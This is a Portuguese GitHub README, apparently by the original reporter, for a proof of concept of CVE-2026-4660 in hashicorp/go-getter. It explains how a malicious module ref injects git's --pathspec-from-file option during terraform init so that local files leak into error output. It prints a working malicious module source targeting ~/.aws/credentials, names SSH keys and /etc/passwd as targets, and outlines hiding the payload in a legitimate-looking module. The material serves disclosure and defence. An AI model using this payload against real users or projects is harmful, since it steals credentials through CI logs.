gouldnicholas/cve-2026-4660-pocPoC para CVE-2026-4660: leitura arbitrária de arquivos via git checkout no hashicorp/go-getter
Prova de conceito para o CVE-2026-4660 (aviso da HashiCorp) no hashicorp/go-getter. Sou o relator original.
Um atacante publica um módulo Terraform com um ref de --pathspec-from-file=/caminho/para/arquivo. Quando a vítima executa terraform init, o go-getter clona o repositório e chama git checkout --pathspec-from-file=/caminho/para/arquivo. O Git lê o arquivo alvo linha por linha, falha em cada linha como um pathspec e despeja o conteúdo na sua saída de erro. O ref malicioso está dentro do código-fonte do módulo do atacante, não na configuração da própria vítima. O terraform init falha com um erro de download de módulo; os valores das credenciais aparecem incorporados nos erros de pathspec do git na saída. Nenhum apply é necessário.
A vulnerabilidade existe em dois caminhos de código na biblioteca go-getter. O é usado quando o diretório de destino está ausente; o é usado quando ele existe. Ambos chamam o mesmo . O adia em caso de erro; o não, então o diretório sobrevive ao checkout com falha.
clone()update()checkout()clone()os.RemoveAll(dst)update()O instalador de módulos do Terraform (initwd/module_install.go:251) sempre chama os.RemoveAll no destino antes de invocar o go-getter, então o terraform sempre aciona o clone(). O Packer, o Nomad e qualquer ferramenta que chame a API do go-getter diretamente contra um diretório pré-existente acionarão o update() em vez disso. O PoC demonstra ambos os caminhos.
Afeta todas as ferramentas que usam go-getter: exemplos incluem Terraform, Nomad, Packer, Waypoint.
Corrigido em: go-getter v1.8.6 (nenhuma versão do Terraform incorpora a correção até 2026-04-10) Severidade: 7.5 Alta (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
O atacante publica um módulo Terraform de aparência legítima no GitHub, por exemplo, um módulo AWS VPC com código real e funcional. Escondido dentro, uma fonte de submódulo aponta para um segundo repositório controlado pelo atacante com o ref malicioso:
# dentro do módulo do atacante; a vítima nunca lê este arquivo
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
A vítima adiciona o módulo de nível superior à sua configuração:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
Ela executa terraform init, localmente ou em CI. O go-getter clona o módulo de nível superior, encontra o submódulo aninhado, clona-o também e chama git checkout --pathspec-from-file=/home/runner/.aws/credentials. O Git lê o arquivo e o conteúdo aparece na saída de erro do terraform:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
Nota: [default] é removido pelo renderizador colorstring do terraform mesmo com -no-color (interpretado como um token de redefinição de estilo) e aparece como um pathspec vazio '' na saída real. A saída bruta do git checkout no PoC mostra o conteúdo sem alterações.
O ataque não se limita a arquivos de credenciais. Qualquer arquivo legível pelo processo é um alvo: /etc/passwd, arquivos de token de CI, configurações de aplicativos, qualquer coisa acessível a partir do runner. O PoC demonstra ~/.aws/credentials, ~/.ssh/id_rsa e /etc/passwd.
No GitHub Actions, CircleCI ou qualquer sistema de CI que registre a saída do terraform init, esses logs são legíveis por todos com acesso ao repositório e frequentemente exportados para agregação de logs (Datadog, Splunk, etc.) sem expiração. As credenciais AWS da vítima, chaves SSH ou qualquer outro arquivo legível pelo runner acabam no histórico de logs. A vítima vê uma build com falha; os valores das credenciais estão enterrados no que parece ser um erro do git.
docker compose up --build
Dois contêineres: gitserver serve os repositórios git bare do atacante via HTTP, poc executa como usuário runner com credenciais falsas em ~/.aws/credentials, ~/.ssh/id_rsa e um /etc/passwd legível. A Fase 1 executa terraform init e demonstra o caminho clone(); uma verificação sentinela confirma que os diretórios do módulo são excluídos pelo RemoveAll adiado do clone() em caso de falha. A Fase 2 exercita diretamente a sequência de chamadas update() do go-getter (fetch + checkout) para mostrar que a mesma vulnerabilidade do checkout() é acionada e que o diretório sobrevive, consistente com a ausência de um defer RemoveAll no update(). Nenhuma interação é necessária.